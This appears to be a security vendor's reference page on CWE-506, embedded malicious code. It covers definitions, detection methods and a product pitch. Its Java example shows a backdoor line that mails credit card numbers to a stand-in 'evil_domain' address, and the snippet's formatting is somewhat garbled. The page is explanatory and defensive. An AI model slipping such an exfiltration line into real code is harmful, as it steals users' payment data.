CWE-506 Class Incomplete

Embedded Malicious Code

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.

Definition

What is CWE-506?

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.
Often called a Trojan horse, logic bomb, time bomb, or backdoor, this malicious code is designed to perform a legitimate function while secretly exploiting the system's permissions. The developer who inserts it typically aims to bypass security controls, steal data, or cause damage at a specific future trigger, abusing the trust placed in the application. Detecting these intentional flaws requires scrutinizing code for unexpected behaviors, hidden payloads, or suspicious time-based logic. Managing this risk at scale is difficult; an ASPM platform like Plexicus can help by correlating SAST findings with behavioral anomalies and using AI to prioritize these high-severity, intentional threats across your entire software supply chain.
Real-world impact

Real-world CVEs caused by CWE-506

  • CVE-2022-30877

    A command history tool was shipped with a code-execution backdoor inserted by a malicious party.

How attackers exploit it

Step-by-step attacker path

  1. 1

    Identify a code path that handles untrusted input without validation.

  2. 2

    Craft a payload that exercises the unsafe behavior — injection, traversal, overflow, or logic abuse.

  3. 3

    Deliver the payload through a normal request and observe the application's reaction.

  4. 4

    Iterate until the response leaks data, executes attacker code, or escalates privileges.

Vulnerable code example

Vulnerable Java

In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.

Vulnerable Java 
boolean authorizeCard(String ccn) {
```
// Authorize credit card.* 
  		
  		
  		 *...* 
  		
  		mailCardNumber(ccn, "evil_developer@evil_domain.com");}
Secure code example

Secure pseudo

Secure pseudo 
// Validate, sanitize, or use a safe API before reaching the sink.
function handleRequest(input) {
  const safe = validateAndEscape(input);
  return executeWithGuards(safe);
}
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Prevention checklist

How to prevent CWE-506

  • Testing Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.
Detection signals

How to detect CWE-506

Manual Static Analysis - Binary or Bytecode SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies Generated Code Inspection

Dynamic Analysis with Manual Results Interpretation SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Automated Monitored Execution

Manual Static Analysis - Source Code SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Manual Source Code Review (not inspections)

Automated Static Analysis SOAR Partial

According to SOAR [REF-1479], the following detection techniques may be useful: ``` Cost effective for partial coverage: ``` Origin Analysis

Plexicus auto-fix

Plexicus auto-detects CWE-506 and opens a fix PR in under 60 seconds.

Codex Remedium scans every commit, identifies this exact weakness, and ships a reviewer-ready pull request with the patch. No tickets. No hand-offs.

Get a demo Try Plexicus free
Frequently asked questions

Frequently asked questions

What is CWE-506?

This vulnerability occurs when an application or codebase contains intentionally harmful code inserted by a developer or third party.

How serious is CWE-506?

MITRE has not published a likelihood-of-exploit rating for this weakness. Treat it as medium-impact until your threat model proves otherwise.

What languages or platforms are affected by CWE-506?

MITRE has not specified affected platforms for this CWE — it can apply across most application stacks.

How can I prevent CWE-506?

Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.

How does Plexicus detect and fix CWE-506?

Plexicus's SAST engine matches the data-flow signature for CWE-506 on every commit. When a match is found, our Codex Remedium agent opens a fix PR with the corrected code, tests, and a one-line summary for the reviewer.

Where can I learn more about CWE-506?

MITRE publishes the canonical definition at https://cwe.mitre.org/data/definitions/506.html. You can also reference OWASP and NIST documentation for adjacent guidance.

Related weaknesses

Weaknesses related to CWE-506

CWE-912 Parent

Hidden Functionality

Hidden functionality refers to undocumented features, commands, or code within a product that are not part of its official specification…

CWE-1242 Sibling

Inclusion of Undocumented Features or Chicken Bits

This vulnerability occurs when a hardware device or chip includes undocumented configuration bits (often called 'chicken bits') or hidden…

CWE-507 Child

Trojan Horse

A Trojan Horse vulnerability occurs when software presents itself as legitimate and useful, but secretly contains malicious functionality…

CWE-510 Child

Trapdoor

A trapdoor, often called a backdoor, is a hidden piece of code intentionally placed within software. It activates in response to a…

CWE-511 Child

Logic/Time Bomb

A logic or time bomb is malicious code intentionally placed within software to trigger harmful actions when a specific condition is met or…

CWE-512 Child

Spyware

Spyware is software that secretly gathers personal information about a user or their activities. It does this by accessing data from other…

Resources

Further reading

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